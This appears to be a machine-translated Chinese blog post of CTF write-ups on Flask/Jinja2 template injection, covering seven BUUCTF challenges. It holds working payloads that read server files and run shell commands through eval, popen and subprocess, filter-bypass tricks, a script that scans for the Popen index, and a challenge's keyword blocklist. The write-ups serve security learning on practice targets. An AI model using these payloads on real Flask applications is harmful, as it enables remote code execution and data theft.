当前位置:网站首页>Flask SSTI injection learning
Flask SSTI injection learning
2022-07-25 14:13:00 【The goal is technology house】
Competition platform :https://buuoj.cn/
1.[GYCTF2020]FlaskApp
Step zero ,Flask Template injection knowledge sorting :
1. By using magic functions , Without registering a module , Call the function of the module .
__class__ Return the type of the object
__mro__ Returns the class to which the object belongs 、 Inherited base class tuples , Method parses in the order of tuples
__base__ Returns the base class inherited by the object , It's usually object, If you don't need to use the previous method
// __base__ and __mro__ Are used to find base classes
__subclasses__ Return subclass
__init__ Class
__globals__ Reference to the dictionary containing the global variables of the function
Example (windows python 3.7):
''.__class__ <type 'str'>
''.__class__.__mro__ (<type 'str'>, <type 'object'>)
''.__class__.__base__ <class 'object'>
''.__class__.__mro__[1].__subclasses__() Lists all subclasses
''.__class__.__base__.__subclasses__() Same effect as above
Other examples ( Unknown environment ):
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() Read the file
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].system('ls') Execute system commands
If the function has been __init__ 了 , You can also execute commands through the following methods :
''.__class__.__base__.__subclasses__()[5].__init__.__globals__['__builtins__']['eval']
About built-in functions :
When we start a python Interpreter , No variables or functions were created in time , There will still be many functions to use , We call it a built-in function . The name of the built-in function will be placed in the built-in namespace , Initial builtins The module provides the mapping from the built-in namespace to the built-in object .
stay __builtins__ in , It's like len、str Such a familiar function .
python The key to sandbox overflow : Dependent variable -> object -> Base class -> Subclass traversal -> Global variables In this process , Find the module or function we want .
Reference link :SSTI/ Detailed summary of sandbox escape
First step , send Base64 Decryption error , The specific errors are as follows :
@app.route('/decode',methods=['POST','GET'])
def decode():
if request.values.get('text') :
text = request.values.get("text")
text_decode = base64.b64decode(text.encode()) # Wrong position
tmp = " result : {0}".format(text_decode.decode())
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
Function to obtain text Value direct decoding , And put the decoding result in tmp in . If waf Function check found tmp There is injection behavior in , Will return no no no !!; Otherwise, it will be displayed directly on the template tmp.
therefore , Our aim is to bypass waf Function implementation injection .
The second step , Read source code .
Encrypt the following code and enter it into the decryption box ( In the error prompt, you can see that the file name is app.py):
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__=='catch_warnings' %}
{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{
% endif %}
{
% endfor %}
Get an error report :
from flask import Flask,render_template_string from flask import render_template,request,flash,redirect,url_for from flask_wtf import FlaskForm from wtforms import StringField, SubmitField from wtforms.validators import DataRequired from flask_bootstrap import Bootstrap import base64 app = Flask(__name__) app.config['SECRET_KEY'] = 's_e_c_r_e_t_k_e_y' bootstrap = Bootstrap(app) class NameForm(FlaskForm): text = StringField('BASE64 encryption ',validators= [DataRequired()]) submit = SubmitField(' Submit ') class NameForm1(FlaskForm): text = StringField('BASE64 Decrypt ',validators= [DataRequired()]) submit = SubmitField(' Submit ') def waf(str): black_list = ["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"] for x in black_list : if x in str.lower() : return 1 @app.route('/hint',methods=['GET']) def hint(): txt = " Failure is the mother of success !!" return render_template("hint.html",txt = txt) @app.route('/',methods=['POST','GET']) def encode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64encode(text.encode()) tmp = " result :{0}".format(str(text_decode.decode())) res = render_template_string(tmp) flash(tmp) return redirect(url_for('encode')) else : text = "" form = NameForm(text) return render_template("index.html",form = form ,method = " encryption " ,img = "flask.png") @app.route('/decode',methods=['POST','GET']) def decode(): if request.values.get('text') : text = request.values.get("text") text_decode = base64.b64decode(text.encode()) tmp = " result : {0}".format(text_decode.decode()) if waf(tmp) : flash("no no no !!") return redirect(url_for('decode')) res = render_template_string(tmp) flash( res ) return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = " Decrypt " , img = "flask1.png") @app.route('/<name>',methods=['GET']) def not_found(name): return render_template("404.html",name = name) if __name__ == '__main__': app.run(host="0.0.0.0", port=5000, debug=True)
if waf(tmp) :
flash("no no no !!")
return redirect(url_for('decode'))
res = render_template_string(tmp)
flash( res )
return redirect(url_for('decode')) else : text = "" form = NameForm1(text) return render_template("index.html",form = form, method = " Decrypt " , img = "flask1.png")
You can see that there is waf Definition of function , You can see the filtered words :
def waf(str):
black_list =["flag","os","system","popen","import","eval","chr","request", "subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1
The third step , Find file .
Use string splicing to find directories :
{
{
''.__class__.__base__.__subclasses__()[75].__init__.__globals__['__builtins__']['__imp'+'ort__']('o'+'s').listdir('/')}}
After encryption, enter it into the decryption box , Find out this_is_the_flag.txt:
['bin', 'boot', 'dev', 'etc', 'home', 'lib', 'lib64', 'media', 'mnt', 'opt', 'proc', 'root', 'run', 'sbin', 'srv', 'sys', 'tmp', 'usr', 'var', 'this_is_the_flag.txt', '.dockerenv', 'app']
Step four , Read flag.
txt.galf_eht_si_siht Is to reverse the string to bypass
{
% for c in ''.__class__.__base__.__subclasses__() %}{
% if c.__name__=='catch_warnings' %}{
{
c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{
% endif %}{
% endfor %}
Or use the following payload, perform popen Command to read the file :
{
% for c in [].__class__.__base__.__subclasses__() %} {
% if c.__name__ == 'catch_warnings' %} {
% for b in c.__init__.__globals__.values() %} {
% if b.__class__ == {
}.__class__ %} {
% if 'eva'+'l' in b.keys() %} {
{
b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }} {
% endif %} {
% endif %} {
% endfor %} {
% endif %} {
% endfor %}
After encryption, enter it into the decryption box , obtain flag:flag{aa17e119-b692-4f87-962f-cf0b5201aeb3}
2.[WesternCTF2018]shrine
Visit website , Get the source code directly :
import flask import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG')
@app.route('/')
def index():
return open(__file__).read()
@app.route('/shrine/')
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
app.run(debug=True)
Input data through safe_jinja The filter , By jinja Rendering .safe_jinja Replaced the left and right parentheses , If s There are left and right braces , There's... In it config perhaps self, It will be replaced by None.
For example current_app Such global variable information , You need to use two functions that contain this variable ,url_for and get_flashed_messages
Inject { {url_for.__globals__}} perhaps get_flashed_messages.__globals__, You can get ... 'current_app': <Flask 'app'>...
Inject { {url_for.__globals__['current_app'].config}} obtain flag:flag{c9d4bc6f-a536-4f5f-b89c-dd9856d58381}
3.[CSCCTF 2019 Qual]FlaskLight
Open the topic page at the beginning , You can see :
You searched for:
None
Here is your result
['CCC{[email protected]}', 'CSC CTF 2019', 'Welcome to CTF Bois', 'CCC{Qmu_T3rtyPuuuuuu}', 'Tralala_trilili']
F12 View the source code , See the hint :
<!-- Parameter Name: search -->
<!-- Method: GET -->
Construct input ?search={ {7*7}}, See the page return 49, structure ?search={ {7*'7'}}, obtain 7777777, Sure is jinja2 Templates .
visit ?search={ {config}}, obtain 'SECRET_KEY': 'CCC{f4k3_Fl49_:v} CCC{the_flag_is_this_dir}', Hint flag It's in this directory .
Need to write code , See which functions contain global variables :
python3 Script :
Refer to the problem solving link
import requests
import re
import html
import time
index = 0
for i in range(170, 1000):
try:
url = "http://17ad255a-204e-4624-b878-e3e0d62e526a.node3.buuoj.cn/?search={
{''.__class__.__mro__[2].__subclasses__()[" + str(i) + "]}}"
r = requests.get(url)
res = re.findall("<h2>You searched for:<\/h2>\W+<h3>(.*)<\/h3>", r.text)
time.sleep(0.1)
res = html.unescape(res[0])
print(str(i) + " | " + res)
if "subprocess.Popen" in res:
index = i
break
except:
continue
print("indexo of subprocess.Popen:" + str(index))
subprocess Modules can be used to generate sub processes , And connect to the standard input of the child process / Output / Make mistakes , You can also get the return value of the child process .
You can see from the output index The value is 258, So the structure payload test :
''.__class__.__mro__[2].__subclasses__()[258]('ls',shell=True,stdout=-1).communicate()
notice :
('bin\nboot\ndev\netc\nflasklight\nhome\nlib\nlib64\nmedia\nmnt\nopt\nproc\nroot\nrun\nsbin\nsrv\nsys\ntmp\nusr\nvar\n', None)
Then construct :
''.__class__.__mro__[2].__subclasses__()[258]('ls /flasklight',shell=True,stdout=-1).communicate()[0].strip()
notice :app.py coomme_geeeett_youur_flek
read flag:
''.__class__.__mro__[2].__subclasses__()[258]('cat /flasklight/coomme_geeeett_youur_flek',shell=True,stdout=-1).communicate()[0].strip()
flag{4f8bdc79-8954-494f-abb1-606b787271ac}
4.[Flask]SSTI Exploit
As soon as you open the page , Show Hello guest
Use read source payload:
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__=='catch_warnings' %}
{
{
c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}
{
% endif %}
{
% endfor %}
Page shows :
Hello from flask import Flask, request from jinja2 import Template app = Flask(__name__) @app.route("/") def index(): name = request.args.get('name', 'guest') t = Template("Hello " + name) return t.render() if __name__ == "__main__": app.run()
obtain eval Function and execute any python Code :
{
% for c in [].__class__.__base__.__subclasses__() %}
{
% if c.__name__ == 'catch_warnings' %}
{
% for b in c.__init__.__globals__.values() %}
{
% if b.__class__ == {
}.__class__ %}
{
% if 'eval' in b.keys() %}
{
{
b['eval']('__import__("os").popen("ls /var/").read()') }}
{
% endif %}
{
% endif %}
{
% endfor %}
{
% endif %}
{
% endfor %}
We can exploit the vulnerability
5.[RootersCTF2019]I_️_Flask
Because there is no prompt of parameters , Therefore need arjun The tool uses parameters to blast .
python3 arjun.py -u http://11c3a132-1bdb-4fa2-8f9a-a15a04e93389.node3.buuoj.cn/ -m GET -c 200
Get parameters name
?name={ {7*7}}, Show 49
6.[CISCN2019 The NBA finals Day1 Web3]Flask Message Board
Only Author Can be injected , Inject { {config}} obtain :
I1l|1i1|il|1lIIlI1l1|1l|lI1||1|1|I||IlI1
7.[pasecactf_2019]flask_ssti
View page source code , You can see js Code , Send to the back end POST request ,innerHTML It will be directly displayed by the front end :
function send(){
let nickname = $('#nickname')[0].value;
if(nickname.length > 0){
$.post("/", {
'nickname': nickname}, function(data){
$('#msg')[0].innerHTML = '<b>' + data + '</b>';
$('#error')[0].className = "shorten_error_display";
});
}
}
Discovery filtering .、_、'
{
{()["__class__"]["__bases__"][0]["__subclasses__"]()[80]["load_module"]("os")["system"]("ls")}}
// use <class '_frozen_importlib.BuiltinImporter'> This goes to execute the order
{
{()["__class__"]["__bases__"][0]["__subclasses__"]()[91]["get_data"](0, "app.py")}}
// use <class '_frozen_importlib_external.FileLoader'> This is to read the file
Read here app.py Find out flag It's encrypted . Then the encryption function is in the source code .
Then it will be deleted flag. I'm lazy here .. Direct reading /proc/self/fd/3. obtain Flag
{
{()["\x5F\x5Fclass\x5F\x5F"]["\x5F\x5Fbases\x5F\x5F"][0]["\x5F\x5Fsubclasses\x5F\x5F"]()[91]["get\x5Fdata"](0, "/proc/self/fd/3")}}
The resulting flag{9586d411-dd16-4593-955a-4b467a6a3858}
边栏推荐
- Famous handwritten note taking software recruit CTO · coordinate Shenzhen
- Data analysis interview records 1-5
- Goldfish rhca memoirs: cl210 management storage -- object storage
- The practice of depth estimation self-monitoring model monodepth2 in its own data set -- single card / multi card training, reasoning, onnx transformation and quantitative index evaluation
- What are the ranking strategies for mobile websites, independent apps and websites?
- Mlops column introduction
- Throwing OutOfMemoryError “Could not allocate JNI Env“
- 力扣(LeetCode)205. 同构字符串(2022.07.24)
- Business data analysis of CDA level1 knowledge point summary
- 网络安全应急响应技术实战指南(奇安信)
猜你喜欢

That day, I installed a database for my sister... Just help her sort out another shortcut

Mongodb source code deployment and configuration

科隆新能源IPO被终止:拟募资6亿 先进制造与战新基金是股东

What you must know about data engineering in mlops

Brush questions - Luogu -p1146 coin flip

Doris学习笔记之与其他系统集成

Acquisition data transmission mode and online monitoring system of wireless acquisition instrument for vibrating wire sensor of engineering instrument

Working mode and sleep mode of nlm5 series wireless vibrating wire sensor acquisition instrument

如何设计一个高并发系统?

2271. Maximum number of white bricks covered by blanket ●●
随机推荐
[原创]九点标定工具之机械手头部相机标定
Tm1637 four digit LED display module Arduino driver with second dot
Data analysis business core
在线问题反馈模块实战(十三):实现多参数分页查询列表
~4.1 sword finger offer 05. replace spaces
word设置粘贴仅保留文本
手里有点钱可以投资哪些理财产品?
Numpy basic package for data analysis
如何设计一个高并发系统?
Day1: 130 questions in three languages
Cologne new energy IPO was terminated: the advanced manufacturing and Zhanxin fund to be raised is the shareholder
Stay on Alibaba cloud mqtt IOT platform
idea正则表达式替换(idea正则搜索)
From fish eye to look around to multi task King bombing -- a review of Valeo's classic articles on visual depth estimation (from fisheyedistancenet to omnidet) (Part 2)
新唐NUC980设置DHCP或者静态IP
Can the variable name be in Chinese? Directly fooled people
CDA level1 double disk summary
Detailed explanation of nat/napt address translation (internal and external network communication) technology [Huawei ENSP]
Common problems of wireless relay acquisition instrument
CDA level1 multi topic selection